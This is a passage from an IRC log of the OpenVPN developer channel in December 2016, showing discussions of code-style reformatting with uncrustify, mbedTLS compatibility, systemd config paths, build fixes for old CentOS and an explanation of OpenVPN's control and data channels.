yesterday, which was hushed away as "this is about something else") 15:37 <@dazo> well, the example I provided in that context was not about braces ... it was about blank lines before/after ... that was what I needed a comment on at that point 15:37 <@dazo> so I didn't really consider the braces there at all 15:37 <@dazo> and I will not use that example as an argument that we agreed on braces in that meeting 15:38 <@syzzer> dazo: but we *did* agree on braces in 2014, so I simply shouldn't have put the question on the CodeStyle page 15:38 <@dazo> cron2: I am very much open to discuss things .... but I am not willing to start a discussion when ultimatums are the starting point 15:39 <@plaisthos> just saying that the decision was for whitespace only changes 15:39 <@plaisthos> if we want to be more radical we can do that 15:39 <@plaisthos> but I am just happy to agree on something 15:39 <@cron2> all the examples that were posted yesterday had "braces get their own line" style, and at the end everybody said "this is about where we want to go". Right? 15:40 <@cron2> and I *said* that I do not like the } else { style, which you dismissed, so I assumed that the point wasn't relevant - and since nobody ever mentioned that point again yesterday, and the examples did not use it, I considered the style discussion settled for good. 15:41 <@dazo> we didn't actually decide anything about any coding style yesterday .... we did discuss which options and preferences, and then we should look at what astyle/uncrustify could do for us ... and then we finally decide the final configuration we all will use 15:41 <@cron2> *Today* you reopen that can and declare "we want this differently", while I'm not around - so what do you expect? Dancing and happiness? 15:42 <@cron2> that is word-weaseling - we had examples, and everyone agreed to the overall layout 15:42 <@dazo> I am not saying that the configuration on the ML is the final result. It is opening the final agreement 15:42 <@dazo> okay, so we have different opinions on what the expected outcome of my efforts today would be. 15:43 <@cron2> The conclusion was "we agree that these parameters do what we want the result to be" not "we re-open the discussion what the result should look like" 15:43 <@syzzer> cron2: I did have the same idea as dazo. we stopped yesterday, because "time as up", not because everything was settled. 15:43 * dazo is not going to start running in arugment circles 15:44 <@cron2> well, "time was up and nobody wanted more changes" is how I remember 15:44 <@cron2> (except for the if()-needs-braces which we all agreed to) 15:44 <@cron2> right? 15:45 <@dazo> I share syzzers experience of the closure yesterday 15:45 <@syzzer> cron2: that's not how I perceived it 15:45 <@dazo> +1 15:45 <@syzzer> but, once more, I do fully support the "we settled this before" argument 16:22 <@syzzer> dazo: which uncrustify version did you use? 16:25 <@syzzer> (0.59, which comes with ubuntu 16.04 doesn't support all the options you used, but 0.64 does) 16:35 <@dazo> uncrustify-0.64-1.el7.x86_64 16:36 <@dazo> (I rebuilt the latest Fedora 24 for RHEL7) 16:36 <@dazo> uncrustify wasn't available in the EPEL repos, so had to do my own build 17:01 <@dazo> syzzer: can I have your nl_* lines? 17:02 <@syzzer> dazo: everyting on https://community.openvpn.net/openvpn/wiki/CodeStyle 17:02 <@vpnHelper> Title: CodeStyle – OpenVPN Community (at community.openvpn.net) 17:02 <@dazo> ahh! 17:02 <@dazo> duh 17:02 <@dazo> :) 17:02 <@syzzer> just need to add some more, to get & consistent with * 17:03 <@dazo> just one thing we should look at ... line 244-255 ... should we have a nl after a completed if() block? 17:03 <@syzzer> I think we should simply not touch that 17:04 <@dazo> okay ... I thought it would make it clearer that a new if() block is coming 17:05 <@dazo> we do that a few other places ... but we are inconsistent 17:05 <@dazo> line 640, 750, 764 17:05 <@syzzer> well, we should probably don't get too pedantic :) 17:05 <@dazo> :) 17:08 <@dazo> good we removed the GNU indent references 17:09 <@syzzer> ooh, mod_add_long_ifdef_endif_comment is nice! 17:09 * dazo looks at it 17:09 <@syzzer> we already have it 17:09 <@syzzer> but, syzzer -> bed 17:09 <@syzzer> good night! 17:09 <@dazo> yes :) 17:10 <@dazo> g'night! thanks a lot for all efforts today! 17:55 < slypknot> ordex: are you awake yet ? 18:47 < Art_> sorry guys to bother you again, I'm having problems with building an rpm package of openvpn after compiling it from source. I was wondering about the files that lie in distro/rpm folder. Can I use those to build rpm package? 18:56 < ordex> slypknot: more or less 18:56 < ordex> :P 19:03 < slypknot> good mornig ;) 19:05 < slypknot> to let you know .. testing this packet-filter (even on linux) is proving to be more complicated than i imagined .. what with client reconnects and scripting order and --client-to-client (or not) I am having to go through the config options with a toothcomb 19:06 < ordex> mh ok 19:07 < slypknot> i can only test on live vpn's because i don't know C code 19:07 < ordex> mhh I don't get that: why you'd need C code ? 19:08 * ordex is still waking up 19:08 < slypknot> it's an open source program but I cannot verify the code, i can only test the results .. and they are very complicated 19:09 < slypknot> today .. I am sure I managed to over-ride *disable --client-to-client with a few rules AND 19:09 < ordex> oh ok 19:10 < slypknot> I am sure that one clients rules can over-ride anothers rules 19:11 < slypknot> so if i ping a client behind a remote client (all --iroues etc in place correctly) if the local client has accept but the remote client does not .. the local client pf over-rides the remote ( tho that Was on windows server) 19:14 < ordex> oh I see, slypknot however, that part has not been changed. therefore, even if you fnd something that is not ok (which would be nice) would still need another patch, as it does not fall in what I really changed 19:15 < slypknot> i think the pf business and all your changes will prove to be more complex than you expect .. 19:15 < ordex> :D maybe we should get rid of it ! :D 19:16 < slypknot> possibly 19:17 < ordex> slypknot: btw you are right about the local/remote client: pf just checks the destinaton of the packet. and when sending a packet to a remote behind a local client, the destination (for openvpn) is the local client 19:17 < ordex> there's not much to do in that case, because the client filtering is based on the CN name 19:17 < slypknot> that is the problem 19:18 < slypknot> do you filter CN or IP 19:18 < ordex> well, I'd call it just "limitation" 19:18 < slypknot> local or remote or both 19:18 < ordex> if you filter by IP there is no local or remote 19:18 < ordex> because the IP dst in the packet will be the same since the beginning 19:18 < ordex> it should 19:19 < slypknot> there appears to be too many variables to manage safely until a consensus is reached 19:19 < slypknot> probably why it is only a plugin at present 19:19 < ordex> mh maybe. although all this logic is in openvpn, not in the plugin 19:22 < ordex> btw, what I wanted to say before is that, said behaviour that we are now commenting is already implemented in the openvpn codebase. it is not being introduced by my patch. maybe you could summarize your findings on the ml so that we can involve other people in the discussion and decide how tomove forward ? 19:22 < slypknot> but to enable its use does (did) require a plugin 19:22 < ordex> true 19:23 < slypknot> the others are heavily involved in 2.4 so .. like i said this will have to go back burner for now 19:23 < ordex> ehe yeah possibly :) 19:23 < ordex> we can bring it uo again later, once the 2.4 cake is ready 19:23 < ordex> *up 19:24 < slypknot> i appreciate that you got into it and I am sure everybody else does but until your work can be properly revued (not tested by me) the results are open to much interpretation and error 19:24 < ordex> yup 19:25 < ordex> as you said, we should also all agree on what this component really has to do 19:25 < slypknot> i just wanted to let you know .. and xmas is almost here too 19:25 < slypknot> ok :) 19:28 < ordex> yeah :) 19:30 < slypknot> I know for sure, your help would be more appreciated in important problems and the pf is just a perk .) 19:31 < ordex> eheh 19:32 < ordex> yeah, pf was more an exercise for my free time :) 19:32 < slypknot> what you have done is great stuff .. just that it need expert eyes to give you the feedback you need 19:33 < ordex> yup, although nobody feels expert about this code :D 19:33 < ordex> but yeah, I understand what you mean 19:33 < ordex> when you say "important problems", do you have something in mind? :P 19:33 < slypknot> i can only test and my tests got complicated very quick .. i am happy to test but this needs better direction on the code expectation 19:34 < ordex> well, I can tell you what you have to expect from the current code, but I can't tell you what was the intention of the coder :D 19:35 < slypknot> yeah .. its only ever been a plugin before .. you have escalated that to a user option .. users need a lot of help 19:36 < ordex> yup 19:36 < slypknot> speak to the @guys here 19:37 < slypknot> but for now 2.4 takes presidencve 19:38 < ordex> of course 19:40 < slypknot> in the words of *many* experts I have heard .. they only do it if it is absolutely necessary .. and pf is not in that catagory at this time 19:41 < ordex> yap, I also think so 19:41 < ordex> in particular because this couldbe achiedved by using an external firewall 19:41 < slypknot> urm .. not really 19:41 < slypknot> this is an internal firewall 19:45 < slypknot> plus .. many people were against the idea of *any* ipv6 interference .. even iptables6 -t nat took a while to get approval (from what i read) 22:23 < ordex> slypknot: yeah, although -t nat is probably a slightly different topic as it implied a different way of using ipv6 22:23 < ordex> anyway let's see later what other people think about that --- Day changed Fri Dec 09 2016 03:22 <@cron2> mmmh, yay. mbedtls 2.4 breakage. Why... 03:22 <@cron2> syzzer: if you ACK that, I think it should go in 2.4 - this version will be with us for a long time, so it should better be compatible with mbedtls versions that people are going to be using "soon" 06:31 <@dazo> I think the mbedTLS patch makes sense .... reasonable check, consistent with how I've seen this being done in other projects using mbedtls ... and mbedtls does have a habit to flip things around when releasing a new major/minor version (not happening on patch-level releases) 06:32 <@dazo> (we even have a similar kind of version check in configure.ac) 06:53 <@cron2> this is what I was thinking, but I prefer to give syzzer the last word on anything related to mbedtls patching :) 07:32 <@syzzer> I concur. Will reply on the list. 07:47 <@cron2> I'll just take the formatting as-is, "because it will be reformatted anyway!" 07:48 <@syzzer> cron2: yeah, thought that 07:48 <@cron2> btw, regarding indentation of #ifdef and #includes - I added that to my uncrustify sample because I find it sometimes helpful, but this is really something not dear to my heart - so all fine 08:17 <@vpnHelper> RSS Update - gitrepo: mbedtls: include correct net/net_sockets header according to version <https://github.com/OpenVPN/openvpn/commit/c00919e8bd6a4e36d9fa009f3b1a93b262a59fc6> 08:55 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [] 08:55 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 09:24 <+krzee> [06:47] <NonSecwitter> very strange... uninstalling OpenVPN leaves the OpenVPN manager behind on windows, and there doens't seem to be an uninstall 09:25 <+krzee> anyone happen to have windows and be able to test uninstall? 09:28 < DarcyB> krzee, I have a windoews box sitting ehre I can test with 09:29 <+krzee> [07:15] <krzee> NonSecwitter: what version openvpn did you have installed? 09:29 <+krzee> [07:17] <NonSecwitter> 2.3.11 - i6011 09:29 <+krzee> [07:18] <NonSecwitter> i601 09:29 <@cron2> "the OpenVPN manager"? there is no OpenVPN manager 09:29 <@cron2> there is openvpn.exe, two openvpn services, and the openvpn gui 09:30 < DarcyB> I'm betting the mean gui.... 09:30 <+krzee> i wasnt sure if that was something new, i havent used windows in awhile 09:30 < DarcyB> they even 09:31 <+krzee> ya he confirms that 09:31 < DarcyB> i have 2.3.12 I can do a quick un-install off. standby 09:34 <@syzzer> caleb1, Kelticfox: was just wondering, do you have any time lines on the audit? 09:34 < DarcyB> 2.3.12 i can confirm openvpn, and the gui do uninstall.. all I'm left with is the config dir. 09:35 <+krzee> thanks DarcyB 09:36 < DarcyB> the log shown during the uninstall process mind you does not explicitly show it's removing the gui 09:37 <+krzee> dunno what he has, but he has openvpnmanager, i told him its not from us 09:39 < DarcyB> https://github.com/jochenwierum/openvpn-manager/wiki 09:39 <@vpnHelper> Title: Home · jochenwierum/openvpn-manager Wiki · GitHub (at github.com) 09:43 <@cron2> yea 09:44 <@cron2> yeah, why do people do this... implement their own service, and control utility... - while totally nice, it's just duplicating effort, instead of joining forces (or at least talk to us) 09:46 <+krzee> ++ 10:02 <+krzee> from changes.rst: 10:02 <+krzee> OpenVPN now ships with more up-to-date systemd unit files which takes advantage of the improved service management as well as some hardening steps. The configuration files are picked up from /etc/openvpn/server and /etc/openvpn/client (depending on unit file). This also avoids these new unit files and how they work to collide with older pre-existing unit files. 10:03 <+krzee> does that mean users using systemd should put server config in /etc/openvpn/server and likewise for client? 10:03 <+krzee> or are those systemd configs? 10:10 < Kelticfox> syzzer: I dont have any timelines, but I can ask 10:13 < Kelticfox> I've asked for you 10:17 <@cron2> krzee: if you want to use systemd, you can put your openvpn configs there and systemd will pick them up 10:17 <@syzzer> Kelticfox: thanks :) 10:18 <@syzzer> I'd like to know, because if you *do* find something interesting, it would be good if we're around to respond :) 10:23 < Kelticfox> Oh you get first dibs before anything gets released 10:24 < Kelticfox> that was part of the deal and was also published with the article 10:24 < Kelticfox> Okay, Boss says that there isn;t a timeline yet but they will keep you updated with new information as it comes in 10:24 <@syzzer> yeah, but it would be good to know when you expect such a release 10:24 <@syzzer> ah, great, thanks! 10:28 <+krzee> cron2: i dont, im just curious to understand that entry in changes.rst 10:28 <+krzee> so thats the new filenames for openvpn configs for systemd users? 10:29 <@syzzer> krzee: iiuc, it is a directory where you can put multiple configs 10:29 <@syzzer> maybe we should add a trailing / 10:30 <@syzzer> dazo: ^^ 10:31 <+krzee> ohhh i see 10:31 <+krzee> ya a trailing slash would be nice 10:31 < eworm> the Arch Linux news post will have trailing slashes :-p 10:32 <+krzee> :D 11:28 * dazo looks up 11:29 <@dazo> krzee: that is right, the server configs and client configs goes into separate subdirs in /etc/openvpn 11:30 <+krzee> ya now that he mentioned trailing slash it made sense to me 11:30 <@dazo> krzee: it's done so as the server and client profiles differs slightly ... and then it is easier to also see what role the config have 11:30 <+krzee> in changes.rst a trailing slash on that would make it more obvious 11:30 <@dazo> eworm: could you please have a look at the systemd --chroot patch I sent to the ML ... and please feel free to ACK it, if you think it makes sense 11:31 <@dazo> krzee: yeah, we'll do that :) 11:40 <@dazo> eworm: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13416.html 11:41 <@vpnHelper> Title: [Openvpn-devel] [PATCH] systemd: Intermediate --chroot fix with the new sd_notify() implementation (at www.mail-archive.com) 11:42 <@dazo> eworm: we need a better fix, but for 2.4 we can't add a too dramatic change for rc2 ... so I think this is a reasonable middle ground 11:43 * dazo will be back in a few hours 11:45 < eworm> dazo: Answered to the mailing list... 12:05 < MK__> can someone point me to the code where the packet buffer corresponding to a specific state (i.e. S_INITIAL) is created? 13:11 <+krzee> booya got openvpn+mbed working on my phones 13:11 <+krzee> well compiled 13:11 <+krzee> not migrated 13:22 <+krzee> when i have mismatching tls-cipher the client doesnt get a hard fail just timeout, while the server gets TLS_ERROR: read tls_read_plaintext error: SSL - The server has no ciphersuites in common with the client 13:23 <+krzee> maybe both sides could get told something closer to 'hey check your --tls-cipher! 13:29 <@dazo> krzee: I haven't looked at those code paths now, but I believe that is somewhat tricky ... as the input from the remote side is just gibberish when trying to decode/decrypt it locally 13:29 <@cron2> the man page says "don't mess with tls-cipher"... :) 13:29 <@dazo> that gibberish can often be due to wrong tls-cipher, but not that alone 13:30 <@cron2> dazo: for *tls*-cipher it's actually just a negotiation fail in the crypto library, but these tend to produce non-helpful errors... 13:30 <@cron2> for --cipher, it's indeed "just gibberish in the data packet" 13:30 <@dazo> ahh, right! I was on the --cipher track 13:30 <@cron2> but still, getting useful errors out of TLS libraries seems to be impossible... *look at my browsers*... 13:30 <@dazo> hehe ... yeah 13:31 <@dazo> maybe we need OpenVPN-TLS library ... forked merger of mbedTLS + OpenSSL with a user friendly error library :-P 13:31 * dazo runs 13:31 * dazo hides 14:12 <@syzzer> actually, OpenVPN is at fault with the not properly reporting errors here (well, more than the TLS libs at least) 14:13 <@syzzer> because we immediately interrupt the connection on a TLS failure, instead of allowing the TLS lib to send an error response to the peer 14:14 <@syzzer> so we *could* improve on that. I looked into it a bit a while ago. But to do it properly, it looks like it requires quite some refactoring. 14:14 <@dazo> so ... perhaps something for 2.5 or 2.6? 14:19 <@syzzer> yes, indeed 14:19 <@dazo> cron2: what do you think about the solaris fix for getpass()? It sounds just weird that getpass() only returns 8 bytes of input ... but it wouldn't surprise me, though 15:17 <@cron2> dazo: need to read manpage and run tests on older Solaris boxes to see whether there are caveats. But basically this looks like a bugfix, and a very isolated one ("it will break this particular platform, if anything") 15:46 <+krzee> weird, my phone connects, gets an ip and i can ping and then i disconnect... reconnect and it gives me a new ip, then i cannot ping 15:49 <@vpnHelper> RSS Update - gitrepo: systemd: Intermediate --chroot fix with the new sd_notify() implement… <https://github.com/OpenVPN/openvpn/commit/65140a3acfa42e5d42cdfcf8108f00a62d5767ff> || Changes: Further improve systemd unit file updates <https://github.com/OpenVPN/openvpn/commit/54e386b4a89b33947314e1192f7d34a3e16c451b> 15:49 <@dazo> krzee: syzzer ^^^ Updated Changes.rst with / ... :) 15:51 * dazo need to head home ... will be back in a while 16:05 < dcomp> Hi, I am currently in a location with multiple slow links. I have a server with a faster link at home. Is there a way to set up openvpn to use multiple links on the client to connect to a single server thereby increasing bandwidth. Latency is not really an issue 16:07 < dcomp> Sorry wrong room 16:29 < DarcyB> potentialy yes, if you create a ethernet over ip tunnel, and then setup a lagg hbetween them 16:53 < dcomp> DarcyB, Would running openvpn with mptcp be viable? I have a feeling lagg wont like interfacing with varying latency 16:53 < dcomp> Interfaces* 17:04 < DarcyB> I've never worked with mptcp 17:05 < DarcyB> dcomp: https://wiki.hackspherelabs.com/index.php?title=Connection_and_VPN_Bonding 17:05 <@vpnHelper> Title: Connection and VPN Bonding - Hack Sphere Labs Wiki (at wiki.hackspherelabs.com) 17:07 <@vpnHelper> RSS Update - tickets: #787: Connection breaking after a few seconds leaving no useful debugging traces <https://community.openvpn.net/openvpn/ticket/787> 19:19 <+krzee> ecrist: in freebsd port openvpn-devel installs with openssl when i chose mbedtls, i think you're involved with that package --- Log closed Sat Dec 10 01:50:56 2016 --- Log opened Sat Dec 10 12:04:39 2016 12:04 -!- Irssi: #openvpn-devel: Total of 28 nicks [7 ops, 0 halfops, 1 voices, 20 normal] 12:04 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 12:04 -!- Irssi: Join to #openvpn-devel was synced in 9 secs 12:05 <@ecrist> krzee: on what version of FreeBSD? 12:05 <@ecrist> cron2 was looking into it and reported the problem for 8.4, but said it was fine on newer versions. 17:54 <+krzee> ecrist: 17:54 <+krzee> [04:13] <cron2> krzee: which freebsd version? 17:54 <+krzee> [04:14] <krzee> FreeBSD 11.0-BETA3 17:54 <+krzee> in fact, on xxx 17:54 <+krzee> so feel free to test by uninstalling / installing 17:55 <+krzee> oh and if a donation comes today, the guy didnt want his name on the donations page 19:03 <+krzee> does 2.4 have some feature where windows runs without admin? i know that was talked about before 19:26 < slypknot> krzee: interactive service, auto-started after install 19:27 < slypknot> are you drunk ? 19:39 <+krzee> yes, but i havent used windows in a long time 19:39 <+krzee> so unrelated! 19:41 <+krzee> slypknot: so now in windows the gui client starts the service? 19:41 <+krzee> is that 2.4 or latest 2.3 as well? --- Day changed Sun Dec 11 2016 04:00 <@cron2> krzee: 2.4 only 04:55 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 250 seconds] 04:57 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:57 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 19:43 <@vpnHelper> RSS Update - tickets: #788: EASYRSA_KEY_SIZE, EASYRSA_DIGEST in vars is ignored <https://community.openvpn.net/openvpn/ticket/788> --- Day changed Mon Dec 12 2016 03:22 < lev__> cron2: regarding async-push and disable-plugins - that combination does not make much sense, since async push expects that authentication is deferred to plugin. How about just making configure script fail in this case? 03:36 <@cron2> lev__: I have no idea how to teach configure.ac to do that, but it makes sense to me - better than "silently not enabling the feature" later (because it cannot work) 05:53 -!- huyz_ is now known as huy 06:00 <@cron2> lev__: patch looks good to me. dazo: any objections? 06:01 < lev__> hm, error message should be "--enable-async-push", not "--enable_async_push" 06:02 <@cron2> indeed :) 06:02 < lev__> actual committer could fix it :) 06:03 <@cron2> ok 07:17 <@cron2> mmmh, now what beauty is this? 07:17 <@cron2> p5-Net-OpenVPN-Manage-0.02 Manage an OpenVPN process via its management port 07:55 <@ecrist> krzee: I did get a donation, and he emailed me about not posting his name, so all good there. 07:55 <@ecrist> Not sure what we want to do with the donated money, though. 07:55 <@ecrist> And, I'll look into the build issue 08:56 < slypknot> ecrist: share the money ;) 09:20 < Kelticfox> where's dazo when you need him :P 09:24 <@cron2> ecrist: donated money goes into the beer-at-hackathon funds :-) 09:24 <+krzee> ecrist: hookers and blow 09:46 < Kelticfox> krzee: Boats and hoes? 09:46 <+krzee> yessir 09:51 * ecrist sings "The Nina, OH the Pinta, OH, the santa maria, OH, I'll do you in the bottom while you're drinking Sangria!" 09:57 <@ecrist> In all seriousness, we haven't gotten any donations really since I stopped hosting the community forum, and we used money to buy a vBulletin license that we still own, but never used. 10:14 < ordex> :O 10:19 <+krzee> just hang on to it 10:19 <+krzee> or you know... beer up the hackathon in a year 10:19 <+krzee> haha 11:02 <@ecrist> ok 13:21 <+krzee> WARNING: certificate common name `www.polarssl.org' doesn't match requested host name `tls.mbed.org'. 13:21 <+krzee> lol i find that funny 13:27 <@cron2> lol 13:27 <@cron2> TLS stinks 13:44 <+krzee> ya i guess i shouldnt point the finger either... 13:44 <+krzee> ERROR: certificate common name `ssl381716.cloudflaressl.com' doesn't match requested host name `swupdate.openvpn.org'. 13:44 <+krzee> :D 13:44 <@ecrist> oops 13:49 <+krzee> https://gist.github.com/anonymous/c79e2ffa5d45d6f5b2bb8b8306e74123 13:49 <@vpnHelper> Title: gist:c79e2ffa5d45d6f5b2bb8b8306e74123 · GitHub (at gist.github.com) 13:49 <+krzee> im getting an error when trying to compile 2.4 on centos 5.11 13:57 <+krzee> tried again from the rc1 package without using autoreconf -vi and that got me past that error, but now i have another =/ 13:57 <+krzee> https://gist.github.com/anonymous/ba1e69903a13a15987afe8281051e836 13:57 <@vpnHelper> Title: gist:ba1e69903a13a15987afe8281051e836 · GitHub (at gist.github.com) 13:58 <+krzee> In file included from route.c:49: 13:58 <+krzee> /usr/include/linux/rtnetlink.h:487: error: expected specifier-qualifier-list before ‘__u64’ 14:14 <@cron2> dazo is the expert on "how ancient is the linux stuff that we still want to support" 16:05 <@dazo> krzee: I'll try to do a RHEL5 build soonish and let you know 16:07 <@dazo> (But I don't think we're aiming for RHEL5 support for 2.4, iirc ... as it goes EOL March 2017 (https://access.redhat.com/support/policy/updates/errata/ ) 16:07 <@vpnHelper> Title: Red Hat Enterprise Linux Life Cycle - Red Hat Customer Portal (at access.redhat.com) 16:11 <@dazo> krzee: okay, I can reproduce your error ... looking into it now 16:47 <@dazo> mattock: we don't have a CentOS5 buildbot active any more? 16:57 <@dazo> krzee: is your CentOS 5.11 system 32 or 64bit? 17:01 <@dazo> krzee: I got things compiling on a 64bit system ... but it fails on 32bit ... so that's probably why our buildbots haven't caught this one 17:09 <@dazo> krzee: okay ... figured it out. ./configure CFLAGS="-std=gnu99" 17:11 <@dazo> krzee: the GCC compiler glibc headers on RHEL5 is quite ancient, and the C99 support isn't fully supported on the 32bit platform when it comes to some 64bit types 18:56 < klow> Hello - Does anyone know what ciphers are supported by the OpenVPN iOS app, or how to tell which ones are supported? 23:47 <+krzee> it worked dazo! 23:47 <+krzee> you da man! thanks 23:47 <+krzee> and yes, i was 32bit 23:48 <+krzee> old machine, probably next marked for replacement --- Day changed Tue Dec 13 2016 02:08 <@cron2> klow: no idea about the full list, but it definitely does BF-CBC and AES-128/256-GCM 02:09 <@cron2> (BF-CBC is essential for compatibility with 2.3 servers, and AES-GCM is mandatory for cipher negotiation which it supports) 02:10 < klow> @cron2 I see. My goal is to setup OpenVPN with whatever the most paranoiac, tinfoil hat level settings I can .. per employer of course. Just learning the ropes of where the various ciphers fit in etc .. 02:11 < klow> But iOS is one of our target client apps unfortunately, or else I think I would just pull 2.4 source and use stuff that has ECDH as well .. curious your thoughts on that if you have any? 02:11 <@cron2> that's not "cipher" but "TLS cipher" :-) - no idea, but since TLS ciphers are negotiated, just try and see? 02:12 <@cron2> I'd put 2.4 on the server side, which will give you AES-256-GCM for iOS clients - best you can have today. As for TLS ciphers, not sure 02:18 < klow> I didnt realize that ovpn used a different cipher for the "data channel" vs "control channel" . In the case of using TCP is this actually separate TCP connections? 02:18 < klow> I could answer this question myself heh with tcpdump or even netstat /lazy 02:18 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:18 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:20 < klow> doesnt appear to be separate connections 02:20 <@cron2> no, it's just "control packets" and "data packets" - control is TLS, which negotiates a symmetric key and cipher, and data packets use that 02:21 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 268 seconds] 02:26 < klow> Would it be correct to say that even the control packets are encrypted, using TLS like https would, and then data packets are encrypted yet again inside that control connection, with the symmetric cipher? 02:27 <@cron2> not inside 02:27 <@cron2> data is data, and control is control, and stop thinking in "TCP" terms - this is individual frames that are transported by UDP, but *could* be packed into a TCP stream if nothing else works 02:46 < klow> Assuming proto-tcp, would that mean openvpn acts more like "starttls" mode for the control connection, rather than "tls wrapper" style ? 02:47 <@cron2> neither 02:47 <@cron2> TCP mode is just "openvpn frames sent in sequence down that TCP channel", but the very same frames would normally be sent over UDP 02:47 <@cron2> openvpn TLS is more along the lines of DTLS 02:48 <@cron2> and does NOT touch the data packets (so neither starttls nor tls wrap, since both cover "all the stream") 02:49 <@cron2> trying to explain this differently: you can run openvpn with static key and without TLS - that would use the same data packets, and the same packet format, same cipher, and all, just leaving off the TLS control packets 02:49 <@cron2> (obviously you won't get user authentication, handshaking, etc. - this is for point-to-point mode with pre-negotiated endpoints and key) 02:50 < klow> ok that makes sense. but TLS allows for some on-the-spot symmetric keys to be exchange with each new connection right 02:50 <@cron2> this is used for the control packets 02:51 <@cron2> inside the control channel, random data is exchanged which is then used to build the symmetric key for the data channel 02:51 <@cron2> (so we do not use the "TLS key" for that) 02:53 < klow> And the maximum symmetric key length is 256 currently? and a 2048 or 4096 or whatever private key that goes with the certificate files, is for establishing TLS, and user authentication, but not for the data encryption .. is that correct? 02:53 <@cron2> right. 02:55 < klow> I really appreciate this information 03:26 -!- krzie is now known as krzee 03:32 <@vpnHelper> RSS Update - tickets: #789: update for --ecdh-curve in man <https://community.openvpn.net/openvpn/ticket/789> 06:46 <@dazo> krzee: I bet you'll like this one! https://www.youtube.com/watch?v=En8MlBKxojw&feature=youtu.be&t=332 :) 07:18 <@dazo> syzzer: any concerns about recommending switching to -std=gnu99 on older RHEL5 versions where -std=c99 doesn't work? 09:56 <@dazo> damn the openvpn 3 client is fast ..... 09:56 <@dazo> CONNECTING... 09:56 <@dazo> Thread starting... 09:56 <@dazo> Tue Dec 13 16:47:07.936 2016 Frame=512/2048/512 mssfix-ctrl=1250 09:56 <@dazo> Tue Dec 13 16:47:08.232 2016 EVENT: CONNECTED 09:57 <@dazo> Connecting to an openvpn 2.4_rc server in ~300ms 10:10 <@cron2> our event handling sucks, but nobody dared to change the "what triggers a PUSH_REQUEST?" and "when do we consider us DONE!" bits yet 10:10 <@cron2> We've shaved off quite a bit with the larger MTU and reducing a bit of the silly waiting, though :-) 10:11 <@cron2> Tue Dec 13 17:04:03 2016 OpenVPN 2.4_rc1 [git:master/c00919e8bd6a4e36+] x86_64-unknown-linux-gnu [SSL (mbed TLS)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Dec 9 2016 10:11 <@cron2> Tue Dec 13 17:04:05 2016 Initialization Sequence Completed 10:12 <@cron2> that's not *that* bad... 10:13 <@cron2> dazo: are your 300ms including "receiving PUSH_REPLY"? 10:32 <@dazo> cron2: yes 10:34 <@dazo> it's not a long PUSH_REPLY list, though ... but but it does get some simple routes and TUN IP address from server 10:34 <@dazo> even with NCP upgrade to AES-256-GCM 10:39 <@dazo> A bit more detailed log ... 10:39 <@dazo> Tue Dec 13 16:47:07.983 2016 EVENT: CONNECTING 10:39 <@dazo> Tue Dec 13 16:47:08.186 2016 SSL Handshake: TLSv1.2/TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384 10:39 <@dazo> Tue Dec 13 16:47:08.186 2016 Sending PUSH_REQUEST to server... 10:39 <@dazo> Tue Dec 13 16:47:08.222 2016 OPTIONS: 10:39 <@dazo> (PUSH_REPLY response) 10:40 <@dazo> Tue Dec 13 16:47:08.223 2016 tun0 opened 10:40 <@dazo> (configuration of tun0) 10:40 <@dazo> Tue Dec 13 16:47:08.232 2016 Connected via tun0 10:40 <@dazo> Tue Dec 13 16:47:08.232 2016 EVENT: CONNECTED 10:41 <@dazo> so approx 200ms us the SSL/TLS handshake ... approx 35ms is the PUSH_REQUEST/PUSH_REPLY ... approx 10ms configuring the device 10:42 <@dazo> from .936 to .986 (50ms) is the DNS resolving 10:43 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 246 seconds] 10:44 <@dazo> well, ~45ms for DNS ... ~4ms is parsing of the configuration file 10:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:46 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:58 <+krzee> damn 10:59 <@dazo> well, when I'm done it might be slightly different though, as this is based on the test client in the git tree .... and this is using mbedtls-2.3 + lz4 10:59 <@dazo> (but lz4 was not utilized at this point, I believe) 11:01 <@cron2> dazo: impressive :) 11:01 <@cron2> we need ms time logging in the 2.x client 11:04 <@dazo> :) 14:09 <@vpnHelper> RSS Update - tickets: #479: Ensure documentation recommends using /var/run for --status files <https://community.openvpn.net/openvpn/ticket/479> 15:11 <@dazo> syzzer: just pushed out the reformatting script to all public repos 15:12 <@syzzer> dazo: great, thanks! 15:12 <@dazo> soon pushing out the reformatting 15:16 <@syzzer> dazo: see Selva's mails on the list before pushing ;) 15:17 <@dazo> 205 files changed, 66414 insertions(+), 55440 deletions(-) 15:17 <@dazo> sure! will do 15:22 < eworm> will the reformatting go in before 2.4.0? 15:23 <@syzzer> eworm: yes 15:35 <@dazo> eworm: going into rc2 15:42 <@dazo> syzzer: pushing out the reformatting now ... I did a forced push to include Selvas suggestions to the uncrustify.conf 15:42 <@syzzer> dazo: awesome. force should be fine for non-release branches 15:42 <@dazo> yeah, that's what I thought as well :) 15:42 <@syzzer> (or master) 15:43 <@dazo> and if any one had pulled it, it would most likely be you :) 15:43 <@syzzer> do you know if the bug is still there in uncrustify 0.64 ? 15:44 <@syzzer> hehe, indeed 15:44 <@dazo> syzzer: I dunno ... it just segfaulted when doing a #define with typedef 15:45 <@dazo> $ uncrustify --version 15:45 <@dazo> uncrustify 0.64_d 15:45 <@dazo> oh 15:45 <@dazo> I have 0.64 ... so, nope that is still buggy :) 15:45 <@syzzer> ah, I guess yes than :p 15:45 <@syzzer> because you said 0.63 in the commit msg 15:45 <@dazo> ouch ... typo 15:47 <@syzzer> wow, that is quite some script you wrote there 15:50 <@dazo> yeah, it grew quickly ... not claiming it is fail-safe ... but it does a few tricks to catch most issues I could think of 15:50 <@dazo> including pre/post patching of files otherwise making uncrustify crash 15:51 <@dazo> (only one 